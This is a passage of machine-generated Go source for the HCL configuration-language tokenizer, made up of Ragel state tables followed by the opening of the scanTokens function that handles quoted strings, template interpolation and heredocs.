0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 166, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 166, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, } var _hcltok_from_state_actions []byte = []byte{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, } var _hcltok_eof_trans []int16 = []int16{ 0, 1, 1, 1, 6, 6, 6, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 419, 419, 421, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 767, 772, 772, 772, 773, 773, 775, 775, 775, 779, 0, 0, 785, 785, 785, 789, 0, 0, 795, 795, 797, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 0, 1196, 1197, 1198, 1200, 1198, 1198, 1198, 1203, 1198, 1198, 1198, 1209, 1198, 1198, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 0, 1392, 1394, 1395, 1399, 1399, 1392, 1402, 1395, 1405, 1395, 1407, 1407, 1407, 0, 1416, 1418, 1418, 1416, 1416, 1423, 1425, 1427, 1427, 1427, 0, 1435, 1437, 1437, 1435, 1435, 1442, 1444, 1446, 1446, 1446, 0, 1483, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, } const hcltok_start int = 1459 const hcltok_first_final int = 1459 const hcltok_error int = 0 const hcltok_en_stringTemplate int = 1509 const hcltok_en_heredocTemplate int = 1523 const hcltok_en_bareTemplate int = 1534 const hcltok_en_identOnly int = 1545 const hcltok_en_main int = 1459 //line scan_tokens.rl:16 func scanTokens(data []byte, filename string, start hcl.Pos, mode scanMode) []Token { stripData := stripUTF8BOM(data) start.Byte += len(data) - len(stripData) data = stripData f := &tokenAccum{ Filename: filename, Bytes: data, Pos: start, StartByte: start.Byte, } //line scan_tokens.rl:305 // Ragel state p := 0 // "Pointer" into data pe := len(data) // End-of-data "pointer" ts := 0 te := 0 act := 0 eof := pe var stack []int var top int var cs int // current state switch mode { case scanNormal: cs = hcltok_en_main case scanTemplate: cs = hcltok_en_bareTemplate case scanIdentOnly: cs = hcltok_en_identOnly default: panic("invalid scanMode") } braces := 0 var retBraces []int // stack of brace levels that cause us to use fret var heredocs []heredocInProgress // stack of heredocs we're currently processing //line scan_tokens.rl:340 // Make Go compiler happy _ = ts _ = te _ = act _ = eof token := func(ty TokenType) { f.emitToken(ty, ts, te) } selfToken := func() { b := data[ts:te] if len(b) != 1 { // should never happen panic("selfToken only works for single-character tokens") } f.emitToken(TokenType(b[0]), ts, te) } //line scan_tokens.go:4289 { top = 0 ts = 0 te = 0 act = 0 } //line scan_tokens.go:4297 { var _klen int var _trans int var _acts int var _nacts uint var _keys int if p == pe { goto _test_eof } if cs == 0 { goto _out } _resume: _acts = int(_hcltok_from_state_actions[cs]) _nacts = uint(_hcltok_actions[_acts]) _acts++ for ; _nacts > 0; _nacts-- { _acts++ switch _hcltok_actions[_acts-1] { case 3: //line NONE:1 ts = p //line scan_tokens.go:4320 } } _keys = int(_hcltok_key_offsets[cs]) _trans = int(_hcltok_index_offsets[cs]) _klen = int(_hcltok_single_lengths[cs]) if _klen > 0 { _lower := int(_keys) var _mid int _upper := int(_keys + _klen - 1) for { if _upper < _lower { break } _mid = _lower + ((_upper - _lower) >> 1) switch { case data[p] < _hcltok_trans_keys[_mid]: _upper = _mid - 1 case data[p] > _hcltok_trans_keys[_mid]: _lower = _mid + 1 default: _trans += int(_mid - int(_keys)) goto _match } } _keys += _klen _trans += _klen } _klen = int(_hcltok_range_lengths[cs]) if _klen > 0 { _lower := int(_keys) var _mid int _upper := int(_keys + (_klen << 1) - 2) for { if _upper < _lower { break } _mid = _lower + (((_upper - _lower) >> 1) & ^1) switch { case data[p] < _hcltok_trans_keys[_mid]: _upper = _mid - 2 case data[p] > _hcltok_trans_keys[_mid+1]: _lower = _mid + 2 default: _trans += int((_mid - int(_keys)) >> 1) goto _match } } _trans += _klen } _match: _trans = int(_hcltok_indicies[_trans]) _eof_trans: cs = int(_hcltok_trans_targs[_trans]) if _hcltok_trans_actions[_trans] == 0 { goto _again } _acts = int(_hcltok_trans_actions[_trans]) _nacts = uint(_hcltok_actions[_acts]) _acts++ for ; _nacts > 0; _nacts-- { _acts++ switch _hcltok_actions[_acts-1] { case 0: //line scan_tokens.rl:224 p-- case 4: //line NONE:1 te = p + 1 case 5: //line scan_tokens.rl:248 act = 4 case 6: //line scan_tokens.rl:250 act = 6 case 7: //line scan_tokens.rl:160 te = p + 1 { token(TokenTemplateInterp) braces++ retBraces = append(retBraces, braces) if len(heredocs) > 0 { heredocs[len(heredocs)-1].StartOfLine = false } { stack = append(stack, 0) stack[top] = cs top++ cs = 1459 goto _again } } case 8: //line scan_tokens.rl:170 te = p + 1 { token(TokenTemplateControl) braces++ retBraces = append(retBraces, braces) if len(heredocs) > 0 { heredocs[len(heredocs)-1].StartOfLine = false } { stack = append(stack, 0) stack[top] = cs top++ cs = 1459 goto _again } } case 9: //line scan_tokens.rl:84 te = p + 1 { token(TokenCQuote) top-- cs = stack[top] { stack = stack[:len(stack)-1] } goto _again } case 10: //line scan_tokens.rl:248 te = p + 1 { token(TokenQuotedLit) } case 11: //line scan_tokens.rl:251 te = p + 1 { token(TokenBadUTF8) } case 12: //line scan_tokens.rl:160 te = p p-- { token(TokenTemplateInterp) braces++ retBraces = append(retBraces, braces) if len(heredocs) > 0 { heredocs[len(heredocs)-1].StartOfLine = false } { stack = append(stack, 0) stack[top] = cs top++ cs = 1459 goto _again } } case 13: //line scan_tokens.rl:170 te = p p-- { token(TokenTemplateControl) braces++ retBraces = append(retBraces, braces) if len(heredocs) > 0 { heredocs[len(heredocs)-1].StartOfLine = false } { stack = append(stack, 0) stack[top] = cs top++ cs = 1459 goto _again } } case 14: //line scan_tokens.rl:248 te = p p-- { token(TokenQuotedLit) } case 15: //line scan_tokens.rl:249 te = p p-- { token(TokenQuotedNewline) } case 16: //line scan_tokens.rl:250 te = p p-- { token(TokenInvalid) } case 17: //line scan_tokens.rl:251 te = p p-- { token(TokenBadUTF8) } case 18: //line scan_tokens.rl:248 p = (te) - 1 { token(TokenQuotedLit) } case 19: //line scan_tokens.rl:251 p = (te) - 1 { token(TokenBadUTF8) } case 20: //line NONE:1 switch act { case 4: { p = (te) - 1 token(TokenQuotedLit) } case 6: { p = (te) - 1 token(TokenInvalid) } } case 21: //line scan_tokens.rl:148 act = 11 case 22: //line scan_tokens.rl:259 act = 12 case 23: //line scan_tokens.rl:160 te = p + 1 { token(TokenTemplateInterp) braces++ retBraces = append(retBraces, braces) if len(heredocs) > 0 { heredocs[len(heredocs)-1].StartOfLine = false } { stack = append(stack, 0) stack[top] = cs top++ cs = 1459 goto _again } } case 24: //line scan_tokens.rl:170 te = p + 1 { token(TokenTemplateControl) braces++ retBraces = append(retBraces, braces) if len(heredocs) > 0 { heredocs[len(heredocs)-1].StartOfLine = false } { stack = append(stack, 0) stack[top] = cs top++ cs = 1459 goto _again } } case 25: //line scan_tokens.rl:111 te = p + 1 { // This action is called specifically when a heredoc literal // ends with a newline character. // This might actually be our end marker. topdoc := &heredocs[len(heredocs)-1] if topdoc.StartOfLine { maybeMarker := bytes.TrimSpace(data[ts:te]) if bytes.Equal(maybeMarker, topdoc.Marker) { // We actually emit two tokens here: the end-of-heredoc // marker first, and then separately the newline that // follows it. This then avoids issues with the closing // marker consuming a newline that would 